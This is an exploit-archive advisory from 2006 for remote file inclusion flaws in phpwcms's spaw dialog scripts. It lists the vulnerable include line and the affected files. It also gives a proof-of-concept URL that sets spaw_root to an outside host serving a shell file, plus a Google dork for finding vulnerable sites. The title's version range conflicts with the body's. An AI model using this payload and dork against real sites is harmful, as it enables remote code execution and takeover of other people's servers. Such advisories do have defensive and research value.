phpwcms <= 1.1-RC4 (spaw) Remote File Include Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : phpwcms <= 1.1-RC4 (spaw) Remote File Include Vulnerability
# Published : 2006-08-10
# Author : Morgan
# Previous Title : Spaminator <= 1.7 (page) Remote File Include Vulnerability
# Next Title : Thatware <= 0.4.6 (root_path) Remote File Include Vulnerability

PhpwCMS 1.2.6 <= Multiple Remote file inclusion vulnerabilities

Discovered by :

|/| _ ._ _  _.._
|  |(_)| (_|(_|| |
          _|



Vuln In :
include $spaw_root.'class/lang.class.php';

Affected Files :
include/inc_ext/spaw/dialogs/table.php
include/inc_ext/spaw/dialogs/a.php
include/inc_ext/spaw/dialogs/colorpicker.php
include/inc_ext/spaw/dialogs/confirm.php
include/inc_ext/spaw/dialogs/img.php
include/inc_ext/spaw/dialogs/img_library.php
include/inc_ext/spaw/dialogs/td.php

Vendor Website: http://www.phpwcms.de/

PoC:
http://victim-site/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://ehmorgan.net/shell.dat?

Google Dork:

inurl:"phpwcms/index.php?id="

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan

# www.Syue.com [2006-08-10]